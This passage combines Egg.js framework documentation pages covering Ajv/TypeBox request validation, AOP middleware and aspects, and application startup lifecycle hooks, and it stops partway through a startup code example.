---
url: /advanced.md
---
# Advanced

* [Loader](./loader.md)
* [Plugin Development](./plugin.md)
* [Framework Development](./framework.md)
* [Multi-Process Development Model Enhancement](./cluster-client.md)
* [View Plugin Development](./view-plugin.md)
* [Upgrade your event functions in your lifecycle](./loader-update.md)

---

---
url: /zh-CN/basics/ajv.md
---
# Ajv 入参校验

参考 [@eggjs/typebox-validate](https://github.com/eggjs/egg/tree/master/plugins/typebox-validate) 的最佳实践，结合 ajv + [typebox](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) + ErrorCode 统一错误码规范，只需要定义一次参数校验 Schema，就能同时拥有参数校验和类型定义（完整的 TypeScript 类型提示）。

> 让请求入参校验变得轻松自然，不再是一件烦恼重复的事情😄。

## 使用方式

### 定义入参校验 Schema

使用 [typebox](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) 定义，会内置到 tegg 导出

```ts
import { Type, TransformEnum } from 'egg/ajv';

const SyncPackageTaskSchema = Type.Object({
  fullname: Type.String({
    transform: [TransformEnum.trim],
    maxLength: 100,
  }),
  tips: Type.String({
    transform: [TransformEnum.trim],
    maxLength: 1024,
  }),
  skipDependencies: Type.Boolean(),
  syncDownloadData: Type.Boolean(),
  // force sync immediately, only allow by admin
  force: Type.Boolean(),
  // sync history version
  forceSyncHistory: Type.Boolean(),
  // source registry
  registryName: Type.Optional(Type.String()),
});
```

### 从校验 Schema 生成静态的入参类型

```ts
import { Static } from 'egg/ajv';

// 不能使用 type，得改成 interface，确保 oneapi 可以识别
// type SyncPackageTaskType = Static<typeof SyncPackageTaskSchema>;
interface SyncPackageTaskType extends Static<typeof SyncPackageTaskSchema> {}
```

### 在 `Controller` 中使用入参类型和校验 `Schema`

注入全局单例 `ajv`，调用 `ajv.validate(XxxSchema, params)` 进行参数校验，参数校验失败会直接抛出 AjvInvalidParamError 异常，egg 会自动返回相应的错误响应给客户端。

```ts
import { Inject, HTTPController, HTTPMethod } from 'egg';
import { Ajv, Type, Static, TransformEnum } from 'egg/ajv';

const SyncPackageTaskSchema = Type.Object({
  fullname: Type.String({
    transform: [TransformEnum.trim],
    maxLength: 100,
  }),
  tips: Type.String({
    transform: [TransformEnum.trim],
    maxLength: 1024,
  }),
  skipDependencies: Type.Boolean(),
  syncDownloadData: Type.Boolean(),
  // force sync immediately, only allow by admin
  force: Type.Boolean(),
  // sync history version
  forceSyncHistory: Type.Boolean(),
  // source registry
  registryName: Type.Optional(Type.String()),
});

interface SyncPackageTaskType extends Static<typeof SyncPackageTaskSchema> {}

@HTTPController()
export class HelloController {
  @Inject()
  private readonly ajv: Ajv;

  @HTTPMethod({
    method: HTTPMethodEnum.POST,
    path: '/syncPackage',
  })
  async syncPackage(task: SyncPackageTaskType) {
    // 参数校验，一旦校验失败会抛出 AjvInvalidParamError 异常
    this.ajv.validate(SyncPackageTaskSchema, task);

    // 执行业务逻辑
    return {
      task,
    };
  }
}
```

## TypeBox JSON 定义参考

可以查看 [JSON Types](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) 映射表学习。

```ts
┌────────────────────────────────┬─────────────────────────────┬────────────────────────────────┐
│ TypeBox                        │ TypeScript                  │ Json Schema                    │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Any()           │ type T = any                │ const T = { }                  │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Unknown()       │ type T = unknown            │ const T = { }                  │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.String()        │ type T = string             │ const T = {                    │
│                                │                             │   type: 'string'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Number()        │ type T = number             │ const T = {                    │
│                                │                             │   type: 'number'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Integer()       │ type T = number             │ const T = {                    │
│                                │                             │   type: 'integer'              │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Boolean()       │ type T = boolean            │ const T = {                    │
│                                │                             │   type: 'boolean'              │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Null()          │ type T = null               │ const T = {                    │
│                                │                             │   type: 'null'                 │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Literal(42)     │ type T = 42                 │ const T = {                    │
│                                │                             │   const: 42,                   │
│                                │                             │   type: 'number'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Array(          │ type T = number[]           │ const T = {                    │
│   Type.Number()                │                             │   type: 'array',               │
│ )                              │                             │   items: {                     │
│                                │                             │     type: 'number'             │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Object({        │ type T = {                  │ const T = {                    │
│   x: Type.Number(),            │   x: number,                │   type: 'object',              │
│   y: Type.Number()             │   y: number                 │   required: ['x', 'y'],        │
│ })                             │ }                           │   properties: {                │
│                                │                             │     x: {                       │
│                                │                             │       type: 'number'           │
│                                │                             │     },                         │
│                                │                             │     y: {                       │
│                                │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Tuple([         │ type T = [number, number]   │ const T = {                    │
│   Type.Number(),               │                             │   type: 'array',               │
│   Type.Number()                │                             │   items: [{                    │
│ ])                             │                             │     type: 'number'             │
│                                │                             │   }, {                         │
│                                │                             │     type: 'number'             │
│                                │                             │   }],                          │
│                                │                             │   additionalItems: false,      │
│                                │                             │   minItems: 2,                 │
│                                │                             │   maxItems: 2                  │
│                                │                             │ }                              │
│                                │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ enum Foo {                     │ enum Foo {                  │ const T = {                    │
│   A,                           │   A,                        │   anyOf: [{                    │
│   B                            │   B                         │     type: 'number',            │
│ }                              │ }                           │     const: 0                   │
│                                │                             │   }, {                         │
│ const T = Type.Enum(Foo)       │ type T = Foo                │     type: 'number',            │
│                                │                             │     const: 1                   │
│                                │                             │   }]                           │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Const({         │ type T = {                  │ const T = {                    │
│   x: 1,                        │   readonly x: 1,            │   type: 'object',              │
│   y: 2,                        │   readonly y: 2             │   required: ['x', 'y'],        │
│ } as const)                    │ }                           │   properties: {                │
│                                │                             │     x: {                       │
│                                │                             │       type: 'number',          │
│                                │                             │       const: 1                 │
│                                │                             │     },                         │
│                                │                             │     y: {                       │
│                                │                             │       type: 'number',          │
│                                │                             │       const: 2                 │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.KeyOf(          │ type T = keyof {            │ const T = {                    │
│   Type.Object({                │   x: number,                │   anyOf: [{                    │
│     x: Type.Number(),          │   y: number                 │     type: 'string',            │
│     y: Type.Number()           │ }                           │     const: 'x'                 │
│   })                           │                             │   }, {                         │
│ )                              │                             │     type: 'string',            │
│                                │                             │     const: 'y'                 │
│                                │                             │   }]                           │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Union([         │ type T = string | number    │ const T = {                    │
│   Type.String(),               │                             │   anyOf: [{                    │
│   Type.Number()                │                             │     type: 'string'             │
│ ])                             │                             │   }, {                         │
│                                │                             │     type: 'number'             │
│                                │                             │   }]                           │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Intersect([     │ type T = {                  │ const T = {                    │
│   Type.Object({                │   x: number                 │   allOf: [{                    │
│     x: Type.Number()           │ } & {                       │     type: 'object',            │
│   }),                          │   y: number                 │     required: ['x'],           │
│   Type.Object({                │ }                           │     properties: {              │
│     y: Type.Number()           │                             │       x: {                     │
│   ])                           │                             │         type: 'number'         │
│ ])                             │                             │       }                        │
│                                │                             │     }                          │
│                                │                             │   }, {                         │
│                                │                             │     type: 'object',            |
│                                │                             │     required: ['y'],           │
│                                │                             │     properties: {              │
│                                │                             │       y: {                     │
│                                │                             │         type: 'number'         │
│                                │                             │       }                        │
│                                │                             │     }                          │
│                                │                             │   }]                           │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Composite([     │ type T = {                  │ const T = {                    │
│   Type.Object({                │   x: number,                │   type: 'object',              │
│     x: Type.Number()           │   y: number                 │   required: ['x', 'y'],        │
│   }),                          │ }                           │   properties: {                │
│   Type.Object({                │                             │     x: {                       │
│     y: Type.Number()           │                             │       type: 'number'           │
│   })                           │                             │     },                         │
│ ])                             │                             │     y: {                       │
│                                │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Never()         │ type T = never              │ const T = {                    │
│                                │                             │   not: {}                      │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Not(            | type T = unknown            │ const T = {                    │
│   Type.String()                │                             │   not: {                       │
│ )                              │                             │     type: 'string'             │
│                                │                             │   }                            │
│                                │                             │ }                              │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Extends(        │ type T =                    │ const T = {                    │
│   Type.String(),               │  string extends number      │   const: false,                │
│   Type.Number(),               │    ? true                   │   type: 'boolean'              │
│   Type.Literal(true),          │    : false                  │ }                              │
│   Type.Literal(false)          │                             │                                │
│ )                              │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Extract(        │ type T = Extract<           │ const T = {                    │
│   Type.Union([                 │   string | number,          │   type: 'string'               │
│     Type.String(),             │   string                    │ }                              │
│     Type.Number(),             │ >                           │                                │
│   ]),                          │                             │                                │
│   Type.String()                │                             │                                │
│ )                              │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Exclude(        │ type T = Exclude<           │ const T = {                    │
│   Type.Union([                 │   string | number,          │   type: 'number'               │
│     Type.String(),             │   string                    │ }                              │
│     Type.Number(),             │ >                           │                                │
│   ]),                          │                             │                                │
│   Type.String()                │                             │                                │
│ )                              │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Mapped(         │ type T = {                  │ const T = {                    │
│   Type.Union([                 │   [_ in 'x' | 'y'] : number │   type: 'object',              │
│     Type.Literal('x'),         │ }                           │   required: ['x', 'y'],        │
│     Type.Literal('y')          │                             │   properties: {                │
│   ]),                          │                             │     x: {                       │
│   () => Type.Number()          │                             │       type: 'number'           │
│ )                              │                             │     },                         │
│                                │                             │     y: {                       │
│                                │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const U = Type.Union([         │ type U = 'open' | 'close'   │ const T = {                    │
│   Type.Literal('open'),        │                             │   type: 'string',              │
│   Type.Literal('close')        │ type T = `on${U}`           │   pattern: '^on(open|close)$'  │
│ ])                             │                             │ }                              │
│                                │                             │                                │
│ const T = Type                 │                             │                                │
│   .TemplateLiteral([           │                             │                                │
│      Type.Literal('on'),       │                             │                                │
│      U                         │                             │                                │
│   ])                           │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Record(         │ type T = Record<            │ const T = {                    │
│   Type.String(),               │   string,                   │   type: 'object',              │
│   Type.Number()                │   number                    │   patternProperties: {         │
│ )                              │ >                           │     '^.*$': {                  │
│                                │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Partial(        │ type T = Partial<{          │ const T = {                    │
│   Type.Object({                │   x: number,                │   type: 'object',              │
│     x: Type.Number(),          │   y: number                 │   properties: {                │
│     y: Type.Number()           | }>                          │     x: {                       │
│   })                           │                             │       type: 'number'           │
│ )                              │                             │     },                         │
│                                │                             │     y: {                       │
│                                │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Required(       │ type T = Required<{         │ const T = {                    │
│   Type.Object({                │   x?: number,               │   type: 'object',              │
│     x: Type.Optional(          │   y?: number                │   required: ['x', 'y'],        │
│       Type.Number()            | }>                          │   properties: {                │
│     ),                         │                             │     x: {                       │
│     y: Type.Optional(          │                             │       type: 'number'           │
│       Type.Number()            │                             │     },                         │
│     )                          │                             │     y: {                       │
│   })                           │                             │       type: 'number'           │
│ )                              │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Pick(           │ type T = Pick<{             │ const T = {                    │
│   Type.Object({                │   x: number,                │   type: 'object',              │
│     x: Type.Number(),          │   y: number                 │   required: ['x'],             │
│     y: Type.Number()           │ }, 'x'>                     │   properties: {                │
│   }), ['x']                    |                             │     x: {                       │
│ )                              │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Omit(           │ type T = Omit<{             │ const T = {                    │
│   Type.Object({                │   x: number,                │   type: 'object',              │
│     x: Type.Number(),          │   y: number                 │   required: ['y'],             │
│     y: Type.Number()           │ }, 'x'>                     │   properties: {                │
│   }), ['x']                    |                             │     y: {                       │
│ )                              │                             │       type: 'number'           │
│                                │                             │     }                          │
│                                │                             │   }                            │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Index(          │ type T = {                  │ const T = {                    │
│   Type.Object({                │   x: number,                │   type: 'number'               │
│     x: Type.Number(),          │   y: string                 │ }                              │
│     y: Type.String()           │ }['x']                      │                                │
│   }), ['x']                    │                             │                                │
│ )                              │                             │                                │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const A = Type.Tuple([         │ type A = [0, 1]             │ const T = {                    │
│   Type.Literal(0),             │ type B = [2, 3]             │   type: 'array',               │
│   Type.Literal(1)              │ type T = [                  │   items: [                     │
│ ])                             │   ...A,                     │     { const: 0 },              │
│ const B = Type.Tuple([         │   ...B                      │     { const: 1 },              │
|   Type.Literal(2),             │ ]                           │     { const: 2 },              │
|   Type.Literal(3)              │                             │     { const: 3 }               │
│ ])                             │                             │   ],                           │
│ const T = Type.Tuple([         │                             │   additionalItems: false,      │
|   ...Type.Rest(A),             │                             │   minItems: 4,                 │
|   ...Type.Rest(B)              │                             │   maxItems: 4                  │
│ ])                             │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Uncapitalize(   │ type T = Uncapitalize<      │ const T = {                    │
│   Type.Literal('Hello')        │   'Hello'                   │   type: 'string',              │
│ )                              │ >                           │   const: 'hello'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Capitalize(     │ type T = Capitalize<        │ const T = {                    │
│   Type.Literal('hello')        │   'hello'                   │   type: 'string',              │
│ )                              │ >                           │   const: 'Hello'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Uppercase(      │ type T = Uppercase<         │ const T = {                    │
│   Type.Literal('hello')        │   'hello'                   │   type: 'string',              │
│ )                              │ >                           │   const: 'HELLO'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Lowercase(      │ type T = Lowercase<         │ const T = {                    │
│   Type.Literal('HELLO')        │   'HELLO'                   │   type: 'string',              │
│ )                              │ >                           │   const: 'hello'               │
│                                │                             │ }                              │
│                                │                             │                                │
├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤
│ const T = Type.Object({        │ type T = {                  │ const R = {                    │
│    x: Type.Number(),           │   x: number,                │   $ref: 'T'                    │
│    y: Type.Number()            │   y: number                 │ }                              │
│ }, { $id: 'T' })               | }                           │                                │
│                                │                             │                                │
│ const R = Type.Ref(T)          │ type R = T                  │                                │
│                                │                             │                                │
│                                │                             │                                │
│                                │                             │                                │
│                                │                             │                                │
└────────────────────────────────┴─────────────────────────────┴────────────────────────────────┘
```

---

---
url: /zh-CN/basics/aop-middleware.md
---
# AOP 中间件

## 使用场景

一个请求进来后，会执行一系列处理，然后返回响应给用户。这个过程像一条管道，管道的每一个切面逻辑，称为 `Middleware`。这种模型也被形象地称为“洋葱模型”。

![洋葱模型](https://mdn.alipayobjects.com/huamei_1jxgeu/afts/img/cwwCRpOnomgAAAAARSAAAAgADpOHAQFr/original)

`Middleware` 非常适合用于实现如日志记录、安全校验等与具体业务无关的横切面逻辑。

### 开启插件

```typescript
// config/plugin.ts
export default {
  teggAop: true,
};
```

#### 标准 AOP 写法

标准 AOP 实现方式满足绝大部份场景，完全按照 AOP 装饰器使用方式实现即可。

```typescript
import { Inject, Logger, ObjectInitType, Tracer } from 'egg';
import { Advice, IAdvice, AdviceContext } from 'egg/aop';

@Advice({ initType: ObjectInitType.SINGLETON })
export class SimpleAopAdvice implements IAdvice {
  @Inject()
  logger: Logger;

  @Inject()
  tracer: Tracer;

  async around(ctx: AdviceContext, next: () => Promise<any>) {
    // 控制器前执行的逻辑
    const startTime = Date.now();
    this.logger.info('args: %j', ctx.args); // 调用 controller 方法，传入的参数

    // 执行下一个 middleware
    const res = await next();

    // 控制器之后执行的逻辑
    this.logger.info(
      '%dms, traceId: %s',
      Date.now() - startTime,
      this.tracer.traceId,
    );

    // 对结果进行处理后，再返回
    return {
      res,
      traceId: this.tracer.traceId,
    };
  }
}
```

## 使用 `Middleware`

实现好中间件逻辑后，通过 `Middleware` 装饰器，将中间件应用于具体的 controller 中，使其生效。`Middleware` 装饰器可用于 controller 类或者 controller 类中的方法。

* `Middleware` 装饰器用于类上时，表示该类的所有方法都会应用该中间件。
* `Middleware` 装饰器用于方法上时，表示只有该方法会应用该中间件。
* 若类和方法上都有 `Middleware` 装饰器，会先执行类上的中间件，再执行方法上的中间件。
* 若混用 Aop 中间件和函数式中间件，函数式中间件会先于所有 Aop 中间件执行。

```typescript
import { Middleware } from 'egg';

@Middleware(globalLog)
export class FooController {
  // 执行顺序
  // 进
  // 1. globalLog(ctx, next)
  // 2. methodCount(ctx, next)
  // 3. hello()
  // 出
  // 4. methodCount(ctx, next)
  // 5. globalLog(ctx, next)
  @Middleware(methodCount)
  async hello() {}

  // 执行顺序
  // 进
  // 1. globalLog(ctx, next)
  // 2. methodCount3(ctx, next)
  // 3. methodCount2(ctx, next)
  // 4. methodCount1(ctx, next)
  // 5. mulitple()
  // 出
  // 6. methodCount1(ctx, next)
  // 7. methodCount2(ctx, next)
  // 8. methodCount3(ctx, next)
  // 9. globalLog(ctx, next)
  @Middleware(methodCount1)
  @Middleware(methodCount2)
  @Middleware(methodCount3)
  async multiple() {}

  // 执行顺序
  // 进
  // 1. globalLog(ctx, next)
  // 2. bye()
  // 出
  // 3. globalLog(ctx, next)
  async bye() {}
}
```

---

---
url: /zh-CN/basics/aop.md
---
# AOP 切面编程

## 背景

在业务开发中，常常会有日志记录、安全校验等逻辑。这些逻辑通常与具体业务无关，属于横向应用于多个模块间的通用逻辑。在面向切面编程（Aspect-Oriented Programming, AOP）中，将这些逻辑定义为切面。

> 更多关于 AOP 的知识，可以查看 [Aspect-oriented programming](https://en.wikipedia.org/wiki/Aspect-oriented_programming)。

## 使用

### Advice

使用 `@Advice` 注解来申明一个实现，可以用来监听、拦截方法执行。

:::warning
注意：Advice 也是一种 Prototype, 默认的 initType 为 Context ，可以通过 initType 来指定其他的生命周期。
:::

```ts
import { Advice, IAdvice, AdviceContext } from 'egg/aop';
import { Inject } from 'egg';

@Advice()
export class AdviceExample implements IAdvice {
  // Advice 中可以正常的注入其他的对象
  @Inject()
  private readonly callTrace: CallTrace;

  // 在函数执行前执行
  async beforeCall(ctx: AdviceContext): Promise<void> {
    // ...
  }

  // 在函数成功后执行
  async afterReturn(ctx: AdviceContext, result: any): Promise<void> {
    // ...
  }

  // 在函数失败后执行
  async afterThrow(ctx: AdviceContext, error: Error): Promise<void> {
    // ...
  }

  // 在函数退出时执行
  async afterFinally(ctx: AdviceContext): Promise<void> {
    // ...
  }

  // 类似 koa 中间件的模式
  // block = next
  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {
    // ...
  }
}
```

### Pointcut

使用 `@Pointcut` 在某个类特定的方法上申明一个 `Advice`

```ts
import { SingletonProto } from 'egg';
import { Pointcut } from 'egg/aop';
import { AdviceExample } from './AdviceExample';

@SingletonProto()
export class Hello {
  @Pointcut(AdviceExample)
  async hello(name: string) {
    return `hello ${name}`;
  }
}
```

### Crosscut

使用 `@Crosscut` 来声明一个通用的 `Advice`，有三种模式

* 指定类和方法
* 通过正则指定类和方法
* 通过回调来指定类和方法

:::warning
注意：Egg 中的对象无法被 Crosscut 指定
:::

```ts
import { Crosscut, Advice, IAdvice } from 'egg/aop';

// 通过类型来指定
@Crosscut({
  type: PointcutType.CLASS,
  clazz: CrosscutExample,
  methodName: 'hello',
})
@Advice()
export class CrosscutClassAdviceExample implements IAdvice {}

// 通过正则来指定
@Crosscut({
  type: PointcutType.NAME,
  className: /crosscut.*/i,
  methodName: /hello/,
})
@Advice()
export class CrosscutNameAdviceExample implements IAdvice {}

// 通过回调来指定
@Crosscut({
  type: PointcutType.CUSTOM,
  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {
    return clazz === CrosscutExample && method === 'hello';
  },
})
@Advice()
export class CrosscutCustomAdviceExample implements IAdvice {}

// 目标对象
@ContextProto()
export class CrosscutExample {
  hello() {
    console.log('hello');
  }
}
```

### AdviceContext

所有切面函数的第一个入参都是一个 `AdviceContext` 变量，这个变量的数据结构如下：

```typescript
interface AdviceContext<T = object, K = any> {
  that: T; //
  method: PropertyKey;
  args: any[];
  adviceParams?: K;
}
```

* that，被切的对象，`Pointcut`中代表被切函数所在类的实例，`Crosscut`中代表被切类的实例
* method，被切的函数
* args，被切函数的入参
* adviceParams，切面注解透传的参数

被切函数执行过程的伪代码如下：

```typescript
await beforeCall(ctx);
try {
  const result = await around(ctx, next);
  await afterReturn(ctx, result);
  return result;
} catch (e) {
  await afterThrow(ctx, e);
  throw e;
} finally {
  await afterFinally(ctx);
}
```

根据上面的实现过程切面函数可以通过`AdviceContext`来影响被切函数的执行：

```typescript
@Advice()
class PointcutAdvice implements IAdvice<Hello> {
  @Inject()
  logger: EggLogger;

  // 修改被切函数的入参
  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {
    ctx.args = ['for', 'bar'];
  }

  // 修改被切函数的返回值
  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {
    result.foo = 'bar';
  }

  // 记录调用异常
  async afterThrow(
    ctx: AdviceContext<Hello, any>,
    error: Error,
  ): Promise<void> {
    this.logger.info(
      `${ctx.that.constructor.name}.${ctx.method.name} throw an error: %j`,
      error,
    );
  }

  // 打个调用结束的日志
  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {
    this.logger.info(
      `called ${ctx.that.constructor.name}.${ctx.method.name}, params: %j`,
      args,
    );
  }

  // 修改被切函数的调用过程，比如将被切函数放到事务中执行
  async around(
    ctx: AdviceContext<Hello>,
    next: () => Promise<any>,
  ): Promise<any> {
    await this.runInTransaction(next);
  }
}
```

### 参数透传

同一个切面在不同的函数上可能会有不同的处理流程，比如事务存在不同的传播机制，如果期望用同一个事务注解来支持不同的传播机制，则需要在注解中传入参数。因此在 AOP 中增加了参数透传，切面函数执行时可以通过 `ctx.adviceParams`获取切面注解中传入的 `options.adviceParams`

```typescript
const pointcutParams = { foo: 'bar' };
const crosscutParams = { bar: 'foo' };

@Advice()
export class AdviceExample implements IAdvice {
  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {
    assert.strictEqual(ctx.adviceParams, pointcutParams);
  }
}

@Crosscut(
  {
    type: PointcutType.NAME,
    className: /crosscut.*/i,
    methodName: /hello/,
  },
  { adviceParams: crosscutParams },
)
@Advice()
export class CrosscutNameAdviceExample implements IAdvice {
  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {
    assert.strictEqual(ctx.adviceParams, crosscutParams);
  }
}

@ContextProto()
export class Hello {
  @Pointcut(AdviceExample, { adviceParams: pointcutParams })
  async hello(name: string) {
    return `hello ${name}`;
  }
}
```

## 🌰 例子

### 打印接口结果及耗时日志

#### 实现日志打印 Advice

```typescript
import { SingletonProto, Inject, Logger, Tracer } from 'egg';
import { Advice, IAdvice, AdviceContext } from 'egg/aop';

@Advice()
class MethodLogAdvice implements IAdvice {
  private start: number;
  private succeed = true;

  @Inject()
  readonly tracer: Tracer;

  @Inject()
  private readonly logger: Logger;

  // 方法调用前，记录开始执行时间
  async beforeCall() {
    this.start = Date.now();
  }

  // 若方法抛出异常，则标记 succeed 为 false
  async afterThrow() {
    this.succeed = false;
  }

  // 方法调用结束后，打印日志
  async afterFinally(ctx: AdviceContext) {
    this.logger.info(
      ctx.method +
        ',' +
        (this.succeed ? 'Y' : 'N') +
        ',' +
        (Date.now() - this.start) +
        'ms,' +
        this.tracer.traceId +
        ',' +
        this.tracer.lastSofaRpcId +
        ',',
    );
  }
}
```

#### 使用 Advice

```typescript
import { Pointcut, SingletonProto, Inject } from 'egg';
import { MethodLogAdvice } from './MethodLogAdvice';

@SingletonProto()
class FooService {
  @Pointcut(MethodLogAdvice)
  async foo() {
    // ...
  }
}
```

### 打印 oneapi 调用参数及耗时

在函数应用中，或者使用 layotto 链路进行 oneapi 调用的标准应用（oneapi 配置了 lang: node）中，若想要打印 oneapi 调用的参数及耗时，可以通过 AOP 来实现。使用 CUSTOM 类型 crosscut 实现，框架启动时，会对所有的 oneapi facade 类进行切面织入。

```typescript
import {
  Advice,
  AdviceContext,
  Crosscut,
  EggProtoImplClass,
  IAdvice,
  Inject,
  LayottoFacade,
  Logger,
  PointcutType,
} from 'egg';

@Crosscut({
  type: PointcutType.CUSTOM,
  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {
    return (
      clazz.prototype instanceof LayottoFacade && // 是否为 oneapi 生成的 facade 类
      method !== 'constructor' &&
      clazz.prototype.hasOwnProperty(method)
    ); // 排除 constructor 和父类方法
  },
})
@Advice()
export class OneapiCallAdvice implements IAdvice<LayottoFacade> {
  @Inject()
  logger: Logger; // 可以修改为注入自定义实现的 logger

  async around(
    ctx: AdviceContext<LayottoFacade>,
    next: () => Promise<any>,
  ): Promise<any> {
    const facadeName = ctx.that.constructor.name;
    const methodName = ctx.method;
    const start = Date.now();
    const res = await next();
    const cost = Date.now() - start;
    this.logger.info(
      '%s.%s called, cost: %d, params: %j, result: %j',
      facadeName,
      methodName,
      cost,
      ctx.args,
      res,
    );
    return res;
  }
}
```

---

---
url: /basics/app-start.md
---
# Application Startup Configuration

When the application starts up, we often need to set up some initialization logic. The application bootstraps with those specific configurations. It is in a healthy state and be able to take external service requests after those configurations successfully applied. Otherwise, it failed.

The framework provides a unified entry file (`app.js`) for boot process customization. This file need returns a Boot class. We can define the initialization process in the startup application by defining the lifecycle method in the Boot class.

The framework has provided you several functions to handle during the whole [life cycle](../advanced/loader.md#life-cycles):

* `configWillLoad`: All the config files are ready to load, so this is the LAST chance to modify them.
* `configDidLoad`: When all the config files have been loaded.
* `didLoad`: When all the files have been loaded.
* `willReady`: When all the plug-ins are ready.
* `didReady`: When all the workers are ready.
* `serverDidReady`: When the server is ready.
* `beforeClose`: Before the application is closed.

We can defined Boot class in `app.js`. Below we take a few examples of lifecycle functions commonly used in application development:

```js
// app.js
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  configWillLoad() {
    // The config file has been read and merged, but it has not yet taken effect
    // This is the last time the application layer modifies the configuration
    // Note: This function only supports synchronous calls.

    // For example: the password in the parameter is encrypted, decrypt it here
    this.app.config.mysql.password = decrypt(this.app.config.mysql.password);
    // For example: insert a middleware into the framework's coreMiddleware
    const statusIdx = this.app.config.coreMiddleware.indexOf('status');
    this.app.config.coreMiddleware.splice(statusIdx + 1, 0, 'limit');
  }

  async didLoad() {
    // All configurations have been loaded
    // Can be used to load the application custom file, start a custom service

    // Example: Creating a custom app example
    this.app.queue = new Queue(this.app.config.queue);
    await this.app.queue.init();

    // For example: load a custom directory
    this.app.loader.loadToContext(path.join(__dirname, 'app/tasks'), 'tasks', {
      fieldClass: 'tasksClasses',
    });
  }

  async willReady() {
